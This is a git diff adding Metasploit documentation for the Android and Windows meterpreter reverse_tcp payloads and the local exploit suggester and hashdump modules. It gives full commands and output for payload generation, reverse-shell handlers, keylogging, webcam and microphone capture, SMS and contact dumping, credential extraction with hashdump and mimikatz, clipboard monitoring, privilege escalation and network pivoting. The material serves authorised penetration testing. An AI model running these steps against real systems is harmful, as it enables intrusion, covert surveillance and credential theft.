example: + +``` +meterpreter > search -d . -f *.txt +``` + +**ifconfig** + +The ```ifconfig``` command displays the network interfaces on the remote machine. + +``` +meterpreter > ifconfig + +... + +Interface 10 +============ +Name : wlan0 - wlan0 +Hardware MAC : 60:f1:89:07:c2:7e +IPv4 Address : 192.168.1.207 +IPv4 Netmask : 255.255.255.0 +IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e +IPv6 Netmask : :: +IPv6 Address : fe80::62f1:89ff:fe07:c27e +IPv6 Netmask : :: +IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954 +IPv6 Netmask : :: + +... +``` + +**getuid** + +The ```getuid``` command shows the current user that the payload is running as: + +``` +meterpreter > getuid +Server username: u0_a231 +``` + +**ps** + +The ```ps``` command shows a list of processes the Android device is running. For example: + +``` +meterpreter > ps + +Process List +============ + + PID Name Arch User + --- ---- ---- ---- + 1 /init root + 2 kthreadd root + 3 ksoftirqd/0 root + 7 migration/0 root + 8 rcu_preempt root + 9 rcu_bh root + 10 rcu_sched root + 11 watchdog/0 root + 12 watchdog/1 root + 13 migration/1 root + 14 ksoftirqd/1 root + 17 watchdog/2 root + 18 migration/2 root + 19 ksoftirqd/2 root + 22 watchdog/3 root + 23 migration/3 root + +... +``` + +**shell** + +The ```shell``` command allows you to interact with a shell: + +``` +meterpreter > shell +Process 1 created. +Channel 1 created. +id +uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0 +``` + +To get back to the Meterpreter prompt, you can do: [CTRL]+[Z] + +**sysinfo** + +The ```sysinfo``` command shows you basic information about the Android device. + +``` +meterpreter > sysinfo +Computer : localhost +OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64) +Meterpreter : java/android +``` + +**webcam_list** + +The ```webcam_list``` command shows a list of webcams you could use for the ```webcam_snap``` +command. Example: + +``` +meterpreter > webcam_list +1: Back Camera +2: Front Camera +``` + +**webcam_snap** + +The ```webcam_snap``` command takes a picture from the device. You will have to use the +```webcam_list``` command to figure out which camera to use. Example: + +``` +meterpreter > webcam_snap -i 2 +[*] Starting... +[+] Got frame +[*] Stopped +Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg +``` + +**record_mic** + +The ```record_mic``` command records audio. Good for listening to a phone conversation, as well as +other uses. Example: + +``` +meterpreter > record_mic -d 20 +[*] Starting... +[*] Stopped +Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav +``` + +**activity_start** + +The ```activity_start``` command is an execute command by starting an Android activity from a URI +string. + +**check_root** + +The ```check_root``` command detects whether your payload is running as root or not. Example: + +``` +meterpreter > check_root +[*] Device is not rooted +``` + +**dump_calllog** + +The ```dump_calllog``` command retrieves the call log from the Android device. + +**dump_contacts** + +``` +meterpreter > dump_contacts +[*] Fetching 5 contacts into list +[*] Contacts list saved to: contacts_dump_20160308155744.txt +``` + +**geolocate** + +The ```geolocate``` commands allows you to locate the phone by retrieving the current lat-long +using geolocation. + +**wlan_geolocate** + +The ```wlan_geolocation``` command allows you to locate the phone by retrieving the current +lat-long using WLAN information. Example: + +``` +meterpreter > wlan_geolocate +[*] Google indicates the device is within 150 meters of 30.*******,-97.*******. +[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.******* +``` + +**send_sms** + +The ```send_sms``` command allows you to send an SMS message. Keep in mind the phone will keep a +copy of it, too. + +``` +meterpreter > send_sms -d "2674554859" -t "hello" +[+] SMS sent - Transmission successful +``` + +**sms_dump** + +The ```sms_dump``` command allows you to retrieve SMS messages. And save them as a text file. +For example: + +``` +meterpreter > dump_sms +[*] Fetching 4 sms messages +[*] SMS messages saved to: sms_dump_20160308163212.txt + +... + +$ cat sms_dump_20160308163212.txt + +===================== +[+] SMS messages dump +===================== + +Date: 2016-03-08 15:30:12 -0600 +OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64) +Remote IP: 192.168.1.207 +Remote Port: 59130 + +#1 +Type : Incoming +Date : 2016-03-08 15:29:32 +Address : ********** +Status : NOT_RECEIVED +Message : Hello world + +... + +``` + +**run** + +The ```run``` command allows you to run a post module against the remote machine at the Meterpreter +prompt. For example: + +``` +meterpreter > run post/android/capture/screen +``` + +## Scenarios + +**Uploading APK to an Emulator using install_msf_apk.sh** + +The Metasploit Framework comes with a script that allows you to automatically upload your APK to +an active emulator and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/). + +To use this, follow these steps: + +1. Start the Android Emulator +2. Generate the Android payload as an APK. +3. In msfconsole, start a handler for android/meterpreter/reverse_tcp +4. Run the installer script like this from a terminal: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk +``` + +The the script will do something like this: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk + adding: META-INF/ANDROIDD.SF + adding: META-INF/ANDROIDD.RSA + signing: classes.dex + signing: AndroidManifest.xml + signing: resources.arsc +Failure +1562 KB/s (10715 bytes in 0.006s) + pkg: /data/local/tmp/android.apk +Success +rm failed for -f, Read-only file system +Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity } +``` + +Back in msfconsole, you should receive a session: + +``` +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] Starting the payload handler... +[*] Sending stage (62432 bytes) to 192.168.1.199 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600 + +meterpreter > +``` + +**Uploading APK to a real Android device using install_msf_apk.sh** + +On the Android device, make sure to enable Developer Options. To do this: + +1. Go to Settings -> About -> Software Information +2. Tap on the Build Number section a couple of times. It should unlock Developer Options. +3. Go back to the Settings page, you should see Developer Options. + +Under Developer Options, make sure to: + +* Enable USB debugging +* Disable Verify apps via USB +* Open a terminal, and type: ```adb devices```. On your Android device, you should see a prompt + asking you to allow the computer for debugging, click OK on that. +* Do: ```adb devices``` again, adb should now have access. + +Run the installer script like this from a terminal: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk +``` + +And you should get a session. + + + +**Uploading APK from a Web Server** + +One way to upload an APK to Android without adb is by hosting it from a web server. To do this, +you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally +it's something like this: Settings -> Security -> Check "Unknown Sources" + +Once you have that changed, you'll need to: + +1. Generate the APK payload. +2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181``` +3. On your Android device, open a browser, and download the APK. +4. You should be able to find the APK from the Downloads folder, install it. +5. After installation, you will have to manually execute it. + +**Reconnect Android Meterpreter from the Browser Remotely** + +When you have the APK payload installed on your Android device, another trick to reconnect it is to +launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed." + +Here's how you do this: + +1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job. +2. Do: ```auxiliary/server/android_browsable_msf_launch```. +3. Set the URIPATh if needed. +4. Do: ```run```. At this point, the web server should be up. +5. On your Android device, open the native web browser, and go the URL generated by the auxiliary + module. +6. The Android handler should get a session like the following demo: + +``` +msf > use exploit/multi/handler +msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp +PAYLOAD => android/meterpreter/reverse_tcp +msf exploit(handler) > set LHOST 192.168.1.199 +LHOST => 192.168.1.199 +msf exploit(handler) > set EXITONSESSION false +EXITONSESSION => false +msf exploit(handler) > run -j +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.1.199:4444 +msf exploit(handler) > [*] Starting the payload handler... + +msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch +msf auxiliary(android_browsable_msf_launch) > set URIPATH /test +URIPATH => /test +msf auxiliary(android_browsable_msf_launch) > run + +[*] Using URL: http://0.0.0.0:8080/test +[*] Local IP: http://192.168.1.199:8080/test +[*] Server started. +[*] Sending HTML... +[*] Sending stage (62432 bytes) to 192.168.1.207 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600 +``` diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..0b65ce91bf --- /dev/null +++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md @@ -0,0 +1,714 @@ +windows/meterpreter/reverse_tcp is one of the most powerful features the Metasploit Framework has +to offer, and there are so many things you can do with it. + +It allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting, +control the webcam and microphone, etc. It has the best support for post modules, and you can +load extensions, such as mimikatz and python interpreter, etc. + +windows/meterpreter/reverse_tcp is also the default payload for all Windows exploit targets. + +## Vulnerable Application + +This Meterpreter payload is suitable for the following environments: + +* Windows x64 +* Windows x86 + +## Verification Steps + +windows/meterpreter/reverse_tcp is typically used in two different ways. + +First, it is typically used as a payload for an exploit. Here's how to do that: + +1. In msfconsole, select an exploit module +2. Configure the options for that exploit. +3. Do: ```set payload windows/meterpreter/reverse_tcp``` +4. Set the ```LHOST``` option, which is the IP that the payload should connect to. +5. Do: ```exploit```. If the exploit is successful, it should execute that payload. + +Another way to use windows/meterpreter/reverse_tcp is to generate it as an executable. Normally, +you would want to do it with msfvenom. If you are old school, you have probably also heard of +msfpayload and msfencode. msfvenom is a replacement of those. + +The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp +as an executable: + +``` +./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o /tmp/payload.exe +``` + +## Important Basic Commands + +**pwd command** + +The ```pwd``` command allows you to see the current directory you're in on the remote target. +Example: + +``` +meterpreter > pwd +C:\Users\user\Desktop +``` + +**cd command** + +The ```cd``` command allows you to change directories. Example: + +``` +meterpreter > cd C:\\ +meterpreter > pwd +C:\ +``` + +**cat command** + +The ```cat``` command allows you to see the content of a file: + +``` +meterpreter > cat C:\\file.txt +Hello world! +``` + +**upload command** + +The ```upload``` command allows you to upload a file to the remote target. For example: + +``` +meterpreter > upload /tmp/something.txt C:\\Users\\user\\Desktop\\something.txt +[*] uploading : /tmp/something.txt -> C:\Users\user\Desktop\something.txt +[*] uploaded : /tmp/something.txt -> C:\Users\user\Desktop\something.txt +meterpreter > +``` + +The ```-r``` option for the command also allows you to upload recursively. + +**download command** + +The ```download``` command allows you download a file from the remote target to your machine. +For example: + +``` +meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/ +[*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt +[*] download : C:\Users\user\Desktop\something.txt -> /tmp//something.txt +meterpreter > +``` + +The ```-r``` option for the command also allows you to download recursively. + +**search command** + +The ```search``` command allows you to find files on the remote file system. For example, this +demonstrates how to find all text files in the current directory: + +``` +meterpreter > search -d . -f *.txt +Found 1 result... + .\something.txt (5 bytes) +``` + +Note that without the ```-d``` option, the command will attempt to search in all drives. + +The ```-r``` option for the commands allows you to search recursively. + +**ifconfig command** + +The ```ifconfig``` command displays the network interfaces on the remote machine: + +``` +meterpreter > ifconfig + +Interface 1 +============ +Name : Software Loopback Interface 1 +Hardware MAC : 00:00:00:00:00:00 +MTU : 4294967295 +IPv4 Address : 127.0.0.1 +IPv4 Netmask : 255.0.0.0 +IPv6 Address : ::1 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +... +``` + +The command ```ipconfig``` is an alias for ```ifconfig```. + +**getuid command** + +The ```getuid``` command shows you the current user that the payload is running as: + +``` +meterpreter > getuid +Server username: WIN-6NH0Q8CJQVM\user +``` + +**execute command** + +The ```execute``` command allows you to execute a command or file on the remote machine. + +The following example will spawn a calculator: + +``` +meterpreter > execute -f calc.exe +Process 2076 created. +``` + +To pass an argument, use the ```-a``` flag: + +``` +meterpreter > execute -f iexplore.exe -a http://metasploit.com +Process 2016 created. +``` + +There are some options you can see to add more stealth. For example, you can use the ```-H``` flag +to create the process hidden from view. You can also use the ```-m``` flag to execute from memory. + +**ps command** + +The ```ps``` command lists the running processes on the remote machine. + +**shell command** + +The ```shell``` command allows you to interact with the remote machine's command prompt. Example: + +``` +meterpreter > shell +Process 3576 created. +Channel 6 created. +Microsoft Windows [Version 6.1.7601] +Copyright (c) 2009 Microsoft Corporation. All rights reserved. + +C:\Users\user\Desktop> +``` + +To switch back to Meterpreter, do [CTRL]+[Z] to background the channel. + +**sysinfo command** + +The ```sysinfo``` command shows you basic information about the remote machine. Example: + +``` +meterpreter > sysinfo +Computer : WIN-6NH0Q8CJQVM +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` + +**keyscan_start** + +The ```keyscan_start``` command starts the keylogging feature on the remote machine. + +**keyscan_dump** + +The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command +before using this. Example: + +``` +meterpreter > keyscan_start +Starting the keystroke sniffer... +meterpreter > keyscan_dump +Dumping captured keystrokes... +Hello World!! +``` + +If you wish to stop sniffing, use the ```keyscan_stop``` command. + +**keyscan_stop** + +The ```keyscan_stop``` command stops the keylogger. + +**screenshot** + +The ```screenshot``` command takes a screenshot of the target machine. + +**webcam_list** + +The ```webcam_list``` commands shows you a list of webcams that you can control. You'll +probably want to use this first before using any other webcam commands. + +**webcam_snap** + +The ```webcam_snap``` commands uses the selected webcam to take a picture. + +**webcam_stream** + +The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create +the streaming effect. There is no sound. + +**record_mic** + +The ```record_mic``` command captures audio on the remote machine. + +**getsystem** + +The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of +these techniques: + +* Named pipe impersonation (in memory) +* Named pipe impersonation (dropper) +* Token duplication (in memory) + +Example: + +``` +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +``` + +**hashdump** + +The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges. +For sxample: + +``` +meterpreter > hashdump +Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4::: +root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d::: +SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2::: +``` + + +## Scenarios + +**Setting up for Testing** + +For testing purposes, if you don't want to manually generate a payload and start a multi handler +repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasploit to automate that process. Here's how you would use it: + +First, run the resource script: + +``` +$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc +[*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives. +[*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes) +lhost => 192.168.1.199 +lport => 4444 +[*] Writing 73802 bytes to /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe... +[*] windows/meterpreter/reverse_tcp's LHOST=192.168.1.199, LPORT=4444 +[*] windows/meterpreter/reverse_tcp is at /Users/metasploit/.msf4/local/meterpreter_reverse_tcp.exe +payload => windows/meterpreter/reverse_tcp +lhost => 192.168.1.199 +lport => 4444 +exitonsession => false +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] Starting the payload handler... +msf exploit(handler) > +``` + +Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there. +Upload that payload to your test box and execute it. You should receive a connection. + +**Using a Post Module** + +One of the best things about Meterpreter is you have access to a variety of post exploitation +modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to +collect data from the remote machine automatically. For example, you can steal passwords +from popular applications and enumerate or modify system settings. + +To use a post module from the Meterpreter prompt, simply use the ```run``` command: + +``` +meterpreter > run post/windows/gather/checkvm + +[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine ..... +[*] This is a VMware Virtual Machine +meterpreter > +``` + +It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load +the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the +documentation. + + +**Using the Mimikatz Extension** + +[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from memory on Windows. This might actually be the first thing you want to use as soon as you get a high-privileged session, such as SYSTEM. + +To begin, load the extension: + +``` +meterpreter > load mimikatz +Loading extension mimikatz...success. +meterpreter > +``` + +This will create more commands for the Meterpreter prompt. Most of them are meant to be used to +retrieve user names, hashes, passwords and other information: + +``` +Mimikatz Commands +================= + + Command Description + ------- ----------- + kerberos Attempt to retrieve kerberos creds + livessp Attempt to retrieve livessp creds + mimikatz_command Run a custom command + msv Attempt to retrieve msv creds (hashes) + ssp Attempt to retrieve ssp creds + tspkg Attempt to retrieve tspkg creds + wdigest Attempt to retrieve wdigest creds +``` + +An example of using the ```msv``` command: + +``` +meterpreter > msv +[+] Running as SYSTEM +[*] Retrieving msv credentials +msv credentials +=============== + +AuthID Package Domain User Password +------ ------- ------ ---- -------- +0;313876 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 } +0;313828 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 } +0;996 Negotiate WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO) +0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) +0;45518 NTLM n.s. (Credentials KO) +0;999 NTLM WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO) +``` + + +**Using the extapi Extension** + +The main purpose of the extapi extension is to perform advanced enumeration of the target machine. For +example, you can enumerate things like registered services, open windows, clipboard, ADSI, WMI queries, etc. + +To begin, at the Meterpreter prompt, do: + +``` +meterpreter > load extapi +Loading extension extapi...success. +meterpreter > +``` + +One great feature of the extension is clipboard management. The Windows clipboard is interesting +because it can store anything that is sensitive, such as files, user names, and passwords, but it is not well protected. + +For example, a password manager is a popular tool to store encryped passwords. It allows the user +to create complex passwords without the need to memorize any of them. All the user needs to do is +open the password manager, retrieve the password for a particular account by copying it, and then +paste it on a login page. + +There is a security problem to the above process. When the user copies the password, it is stored +in the operating system's clipboard. As an attacker, you can take advantage of this by starting the +clipboard monitor from Meterpreter/extapi, and then collect whatever the user copies. + +To read whatever is currently stored in the target's clipboard, you can use the clipboard_get_data +commnad: + +``` +meterpreter > clipboard_get_data +Text captured at 2016-03-05 19:13:39.0170 +========================================= +hello, world!! +========================================= + +meterpreter > +``` + +The limitation of this command is that since you're only grabbing whatever is in the clipboard at +the time, there is only one item to collect. However, when you start a monitor, you can collect +whatever goes in there. To start, issue the following command: + +``` +meterpreter > clipboard_monitor_start +[+] Clipboard monitor started +meterpreter > +``` + +While it is monitoring, you can ask Meterpreter to dump whatever's been captured. + +``` +meterpreter > clipboard_monitor_dump +Text captured at 2016-03-05 19:18:18.0466 +========================================= +this is fun. +========================================= + +Files captured at 2016-03-05 19:20:07.0525 +========================================== +Remote Path : C:\Users\user\Desktop\cat_pic.png +File size : 37627 bytes +downloading : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png +download : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png + +========================================== + +[+] Clipboard monitor dumped +meterpreter > +``` + +The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit. + +Combined with Meterpreter's keylogger, you have a very effective setup to capture the user's +inputs. + + +**Using the Python Extension** + +The Python extension allows you to use the remote machine's Python interpreter. + +To load the extension, at the Meterpreter prompt, do: + +``` +meterpreter > use python +Loading extension python...success. +``` + +The most basic example of using the interpreter is the ```python_execute``` command: + +``` +meterpreter > python_execute "x = 'hello world'; print x" +[+] Content written to stdout: +hello world + +meterpreter > +``` + +Another way to execute Python code is from a local file by using the ```python_import``` command. + +To do this, first prepare for a Python script. This example should create a message.txt on the +remote machine's desktop: + + +```python +import os + +user_profile = os.environ['USERPROFILE'] + +f = open(user_profile + '\\Desktop\\message.txt', 'w+') +f.write('hello world!') +f.close() +``` + +And to run that with the command: + +``` +meterpreter > python_import -f /tmp/test.py +[*] Importing /tmp/test.py ... +[+] Command executed without returning a result +meterpreter > +``` + +To learn more about the Python extension, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/Python-Extension). + +**Network Pivoting** + +There are three mains ways that you can use for moving around inside a network: + + - The route command in the msf prompt + - The route command in the the Meterpreter prompt + - The portfwd command + +***Routing through msfconsole*** + +The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig: + +``` +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.201:49182) at 2016-03-04 20:35:31 -0600 + +meterpreter > ipconfig +... +Interface 10 +============ +Name : Intel(R) PRO/1000 MT Network Connection +Hardware MAC : 00:0c:29:86:4b:0d +MTU : 1472 +IPv4 Address : 192.168.1.201 +IPv4 Netmask : 255.255.255.0 +IPv6 Address : 2602:30a:2c51:e660::20 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +IPv6 Address : 2602:30a:2c51:e660:44a:576e:3d2c:d765 +IPv6 Netmask : ffff:ffff:ffff:ffff:: +IPv6 Address : 2602:30a:2c51:e660:94be:567f:4fe7:5da7 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff +IPv6 Address : fe80::44a:576e:3d2c:d765 +IPv6 Netmask : ffff:ffff:ffff:ffff:: + +... + +Interface 26 +============ +Name : VPN +Hardware MAC : 00:00:00:00:00:00 +MTU : 1400 +IPv4 Address : 192.100.0.100 +IPv4 Netmask : 255.255.255.255 + +... +``` + +The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A. + +At the msf prompt, do: + +``` +msf exploit(handler) > route add 192.100.0.0 255.255.255.0 1 +[*] Route added +``` + +The ```1``` at the end of the route indicates the session ID, the payload that is used as a gateway to talk to other machines. + +So right now, we have a connection established to the VPN, and we should be able to connect to another machine from that network: + +``` +msf auxiliary(smb_version) > run + +[*] 192.100.0.101:445 - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(smb_version) > +``` + +Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB. + +***Routing through Meterpreter*** + +The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msfconsole. + +***Routing through the portfwd command*** + +The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do: + +``` +meterpreter > portfwd add –l 3389 –p 3389 –r > target host > +``` + +And that should allow you to connect to remote desktop this way on the attacker's box: + +``` +rdesktop 127.0.0.1 +``` + +**Meterpreter Paranoid Mode** + +The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode". + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode). + +**Meterpreter Reliable Network Communication** + +Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first. + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication). + +**Meterpreter Sleep Control** + +The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency. + +It is very simple to use. At the Meterpreter prompt, simply do: + +``` +meterpreter > sleep 20 +``` + +And that will allow Meterpreter to sleep 20 seconds, and will reconnect. + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control). + +**Meterpreter Stageless Mode** + +A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more. + +To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead. + +**Meterpreter Timeout Control** + +The timeout control basically defines the life span of Meterpreter. To configure it, use the +```set_timeouts``` command: + +``` +meterpreter > set_timeouts +Usage: set_timeouts [options] + +Set the current timeout options. +Any or all of these can be set at once. + +OPTIONS: + + -c Comms timeout (seconds) + -h Help menu + -t Retry total time (seconds) + -w Retry wait time (seconds) + -x Expiration timout (seconds) +``` + +To see the current timeout configuration, you can use the ```get_timeouts``` command: + +``` +meterpreter > get_timeouts +Session Expiry : @ 2016-03-11 21:15:58 +Comm Timeout : 300 seconds +Retry Total Time: 3600 seconds +Retry Wait Time : 10 seconds +``` + +To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control). + +**Meterpreter Transport Control** + +Transport Control allows you manage transports on the fly while the payload session is still running. Meterpreter can automatically cycle through the transports when communication fails, or you can do it manually. + +To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control). + +## Using the Post Exploitation API in IRB + +To enter IRB, do the following at the Meterpreter prompt: + +``` +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> +``` + +**The client object** + +The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as: + +```ruby +>> client.sys.config.getuid +``` + +To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it: + +``` +>> client.inspect +``` + +You can use the #methods method to see what methods you can use: + +``` +>> client.methods +``` + +To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method: + +``` +>> client.sys.config.method(:getuid).source_location +=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32] +``` + +The first element of the array is the location of the file. The second element is the line number of the method. + +**Using Railgun** + +Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do: + +``` +>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK") +=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1} +``` + +To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation). + diff --git a/documentation/modules/post/multi/recon/local_exploit_suggester.md b/documentation/modules/post/multi/recon/local_exploit_suggester.md new file mode 100644 index 0000000000..89d54765bb --- /dev/null +++ b/documentation/modules/post/multi/recon/local_exploit_suggester.md @@ -0,0 +1,31 @@ +The Local Exploit Suggester is a post-exploitation module that you can use to check a system for local vulnerabilities. It performs local exploit checks; it does not actually run any exploits, which is useful because this means you to scan a system without being intrusive. In addition to being stealthy, it's a time saver. You don't have to manually search for local exploits that will work; it'll show you which exploits the target is vulnerable to based on the system's platform and architecture. + +The Local Exploit Suggester is available for Python, PHP, and Windows Meterpreter. + + +## Vulnerable Application + +To use the Local Exploit Suggester: + +* You must have an open Meterpreter session. + +## Verification Steps + +Please see the Overview section. + +##Options + +You can set the following options for the Local Exploit Suggester: + +* **showdescription** - Set this option to true to see more details about each exploit. + + +## Scenarios + +When the Local Exploit Suggester runs, it displays a list of local exploits that the target may be vulnerable to, and it tells you the likelihood of exploitation. + +The following terms are used to help you understand how vulnerable a target is to a particular exploit: + +* **Vulnerable** - Indicates that the target is vulnerable. +* **Appears** - Indicates that the target may be vulnerable based on the file version, but the vulnerable code has not been tested. +* **Detected** - Indicates that the target has the file, but it cannot be determined whether or not the target is vulnerable. \ No newline at end of file diff --git a/documentation/modules/post/windows/gather/hashdump.md b/documentation/modules/post/windows/gather/hashdump.md new file mode 100644 index 0000000000..7e284e76fa --- /dev/null +++ b/documentation/modules/post/windows/gather/hashdump.md @@ -0,0 +1,46 @@ +The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command. + +Having this feature as a post module allows it to be used in different penetration testing scenarios. + + +## Vulnerable Application + +--- + +To be able to use post/gather/hash_dump, you must meet these requirements: + +* You are on a Meterpreter type session. +* The target is a Windows platform. +* It must be executed under the context of a high privilege account, such as SYSTEM. + +## Verification Steps + +--- + +Please see Overview for usage. + +## Scenarios + +--- + +**Upgrading to Meterpreter** + +To be able to use this module, a Meterpreter session is needed. To upgrade to a Meterpreter session, the easiest way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try: + +1. Use the exploit/multi/script/web_delivery module. +2. Manually generate a Meterpreter executable, upload it, and execute it. + +**High Privilege Account** + +Before using post/gather/hashdump, there is a possibility you need to escalate your privileges. + +There are a few common options to consider: + +* Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you + which exploits might be suitable for the remote target. +* The getsystem command in Meterpreter. +* Stolen passwords. + +**Hashdump From Multiple Sessions** + +One major advantage of having hashdump as a post module is you can run against it multiple hosts easily. To learn how, refer to Overview for usage. diff --git a/external/zsh/_msfconsole b/external/zsh/_msfconsole index 1a012fb62c..6cf529e91b 100644 --- a/external/zsh/_msfconsole +++ b/external/zsh/_msfconsole @@ -23,7 +23,6 @@ _arguments \ {-a,--ask}"[Ask before 